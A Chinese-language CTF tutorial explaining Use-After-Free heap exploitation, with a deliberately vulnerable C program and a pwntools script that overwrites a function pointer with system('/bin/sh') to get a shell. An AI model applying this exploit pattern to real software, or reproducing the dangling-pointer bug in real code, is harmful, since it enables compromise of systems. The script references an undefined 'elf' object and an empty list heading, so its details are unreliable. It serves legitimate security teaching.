在 CTF 的 Pwn 题目里,Use-After-Free(UAF) 几乎是最常见的入门漏洞之一。它的本质很朴素:free 掉一块内存之后,指针没有置空,程序继续通过这个「悬垂指针」去读写。而一旦我们能控制这块内存里重新分配的内容,就可以劫持控制流。

漏洞成因

先看一段典型的漏洞代码:

c
#include <stdio.h>
#include <stdlib.h>

struct note {
    void (*print)(char *);
    char *content;
};

int main() {
    struct note *n = malloc(sizeof(struct note));
    n->print = puts;
    n->content = malloc(0x40);

    free(n);                    /* 释放,但 n 未置空 —— UAF */
    struct note *evil = malloc(sizeof(struct note));
    /* evil 与 n 指向同一块内存 */

    n->print(n->content);       /* 通过悬垂指针调用函数指针 */
    return 0;
}

这里的关键在于:free(n) 之后,指针 n 仍然指向已经归还给分配器的 chunk。随后 malloc(sizeof(struct note)) 再次分配到同一地址,攻击者就获得了对这块内存的双重控制权。

堆布局分析

理解 UAF 的关键,是搞清楚 glibc 的 tcache 是如何回收与复用 chunk 的。可以用下面这张图来理解:

堆布局示意图:free 后 chunk 进入 tcache,再次 malloc 复用同一地址
// fig.1 — free 后 chunk 进入 tcache,再次 malloc 复用同一地址

几个需要记住的要点:

绕过 tcache 的注意点

在高版本 glibc 里,直接劫持 __free_hook 或 __malloc_hook 已经不太可行,更常见的是通过 FSOP 或 exit 时的析构链来完成控制流劫持。

「所有堆利用的本质,都是在和分配器的元数据博弈。读懂 chunk 的 header,比背一百个 exp 模板更有用。」

利用步骤

完整利用可以拆成四步:

  1. 构造 UAF,使悬垂指针与可控 chunk 重叠。
  2. 通过重叠 chunk 改写目标函数指针。
  3. 触发调用,完成一次任意地址读 / 写。
  4. 最终 getshell,拿到 shell 权限。

关键的一次改写如下:

python
from pwn import *

context.arch = 'amd64'

p = process('./challenge')

# 1. 触发 UAF
p.sendlineafter(b'> ', b'1')   # add
p.sendlineafter(b'> ', b'2')   # delete  -- 留下悬垂指针

# 2. 分配同尺寸 chunk 复用同一地址
system_addr = elf.symbols['system']
payload = p64(system_addr) + b'/bin/sh\x00'
p.sendlineafter(b'> ', b'3')   # edit  -- 覆写函数指针
p.sendline(payload)

# 3. 触发调用
p.sendlineafter(b'> ', b'4')   # show  -- 调用被改写的函数指针
p.interactive()

更详细的攻击流程与相关参考,可以查阅 how2heap 这个经典仓库,里面的 fastbin_dup 和 unsafe_unlink 是理解堆布局的绝佳素材。


小结

UAF 的利用链条可以总结成一句话:「释放了内存,却留下了指针。」 只要这扇门还开着,攻击者就能顺着指针重新进入那块内存。防御上,最朴素的建议永远是:free 之后立刻将指针置空。

下面是一张参数对照表:

bin最大 chunk 数适用场景
tcache7同线程快速复用
fastbin—小 chunk,LIFO
unsorted bin—释放后暂存,FIFO